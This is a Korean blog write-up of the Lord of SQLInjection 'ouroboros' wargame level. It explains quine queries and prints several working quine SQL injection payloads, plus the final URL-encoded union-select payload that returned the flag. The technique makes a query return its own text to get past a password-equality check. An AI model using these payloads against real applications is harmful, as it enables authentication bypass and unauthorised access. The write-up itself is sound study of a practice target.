ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

[Lord of SQLInjection] ouroboros write-up
write-up(web)/LOS

[Lord of SQLInjection] ouroboros write-up

2022. 10. 2. 18:45

문제 화면입니다.

참인 조건을 넣어줬을 때 아무 일도 일어나지 않습니다.

아마 테이블의 pw컬럼은 비어 있는 것 같습니다.

도저히 모르겠어서 라이트업을 보니

Quine이라는 친구를 사용한다고 합니다.

 

Quine(콰인)은 메타 프로그램의 일종으로

입력 없이 자기 자신의 소스 코드를 출력하는 프로그램이라고 합니다.

 

아래는 레퍼런스에서 가져온 페이로드입니다.

[prefix]와 [profix]에는 원하는 값을 넣어도 된다고 합니다.

 

# 싱글쿼트가 필요한 경우
select replace(replace('[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]',char(34),char(39)),char(36),'[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]') [postfix];

# 더블쿼트가 필요한 경우
select replace(replace("[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]",char(39),char(34)),char(36),"[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]") [postfix];

 

prefix : a' union / postfix : -- -
a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -') as quine;

prefix : 0 union / postfix : #
0 union select replace(replace('0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#',char(34),char(39)),char(36),'0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#') as quine#;

prefix : a" union / postfix : #
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') #",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') #") #

prefix : a" union / postfix : -- -
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -") -- -

 

최종 페이로드는 아래와 같습니다.

 

'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23

 

플래그가 나왔습니다.


레퍼런스

https://aidencom.tistory.com/325

 

[ SQL Injection Tech ] Quine Query(Quine SQL Injection)

Lord Of SQL Injection Ouroboros 문제의 주제인 Quine Query 에 대해서 알아보도록 하자. 먼저 Quine Query 를 알아보기 전 전산학에서의 Quine(콰인)에 대한 정의를 보면 다음과 같다. Quine Quine(콰인)은 입..

aidencom.tistory.com

https://aidencom.tistory.com/324

 

[ Lord Of SQL Injection ] ouroboros Write Up

Start 까다로운 문제입니다. Quine SQL Injection 에 관해서 묻는 문제입니다. Quine에 대해서 모른다면 상당히 당황스러운 문제이므로, Quine 에 대해서 간략히 정리하고 다른 글에서 다시 따로 정리해두

aidencom.tistory.com

https://blog.p6.is/quine-sql-injection/

 

Quine SQL Injection

Quine SQL 이란12s = 's = %r\nprint(s%%s)'print(s%s)Quine 은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미하는데위의 파이썬 소스코드를 참고하면 어떤 의미인지 쉽게 이해할 수 있을 것이다.이는

blog.p6.is

 

'write-up(web) > LOS' 카테고리의 다른 글

[Lord of SQLInjection] alien write-up  (0) 2022.11.04
[Lord of SQLInjection] zombie write-up  (0) 2022.10.05
[Lord of SQLInjection] phantom write-up  (0) 2022.09.21
[Lord of SQLInjection] frankenstein write-up  (0) 2022.09.19
[Lord of SQLInjection] blue_dragon write-up  (0) 2022.09.17
    'write-up(web)/LOS' 카테고리의 다른 글
    • [Lord of SQLInjection] alien write-up
    • [Lord of SQLInjection] zombie write-up
    • [Lord of SQLInjection] phantom write-up
    • [Lord of SQLInjection] frankenstein write-up
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바